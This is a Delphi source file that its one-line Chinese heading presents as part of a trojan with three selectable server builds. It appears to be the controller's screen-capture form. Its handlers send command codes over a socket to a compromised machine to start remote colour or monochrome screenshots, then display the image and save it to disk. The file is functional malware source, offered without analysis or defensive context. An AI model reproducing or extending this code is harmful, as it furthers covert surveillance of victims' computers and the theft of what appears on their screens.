unit11.pas

由于该木马有三个服务端可以选择生成

unit Unit11;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes,winsock, Graphics, Controls, Forms,
  Dialogs, Menus, ComCtrls, ExtCtrls, StdCtrls;

type
  TForm11 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    PopupMenu1: TPopupMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    SaveDialog1: TSaveDialog;
    Edit1: TEdit;
    N2401801: TMenuItem;
    N5003751: TMenuItem;
    StatusBar2: TStatusBar;
    Edit2: TEdit;
    Edit3: TEdit;
    ScrollBox1: TScrollBox;
    N4: TMenuItem;
    procedure N2Click(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure N2401801Click(Sender: TObject);
    procedure N5003751Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form11: TForm11;

implementation

uses untMain;
{$R *.dfm}

procedure TForm11.N2Click(Sender: TObject);
begin
 image1.Picture :=nil;
 form11.StatusBar1.Panels[0].Text :='图像清空完成.';
end;

procedure TForm11.N3Click(Sender: TObject);
begin
 if savedialog1.Execute then
 copyfile(pchar(edit3.text),pchar(savedialog1.filename),false);
end;

procedure TForm11.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 frmmain.edit2.text:='6';
end;

procedure TForm11.N2401801Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 edit2.text:=extractfilepath(paramstr(0))+'screen1.bmp';
 edit3.text:=extractfilepath(paramstr(0))+'screen.bmp';
 deletefile(pchar(edit2.text));
 deletefile(pchar(edit3.text));
 image1.Picture:=nil;
 form11.N1.Enabled :=false;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='33';
 send(sock,f[1],2,0);
 form11.StatusBar1.Visible:=true; 
 form11.StatusBar1.Panels[0].Text :='正在进行远程彩色抓屏... ';
end;

procedure TForm11.N5003751Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 edit2.text:=extractfilepath(paramstr(0))+'screen1.bmp';
 edit3.text:=extractfilepath(paramstr(0))+'screen.bmp';
 deletefile(pchar(edit2.text));
 deletefile(pchar(edit3.text));
 image1.Picture:=nil;
 form11.N1.Enabled :=false;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='48';
 send(sock,f[1],2,0);
 form11.StatusBar1.Visible:=true; 
 form11.StatusBar1.Panels[0].Text :='正在进行远程黑白抓屏... ';
end;

procedure TForm11.N4Click(Sender: TObject);
begin
 if n4.Checked then
 begin
 n4.Checked :=false;
 scrollbox1.AutoScroll:=false;
 image1.AutoSize:=false;
 image1.Stretch:=true;
 image1.Align:=alClient;
 end else
 begin
 n4.Checked :=true;
 scrollbox1.AutoScroll:=true;
 image1.AutoSize:=true;
 image1.Stretch:=false;
 image1.Align:=alNone; 
 end;
end;

end.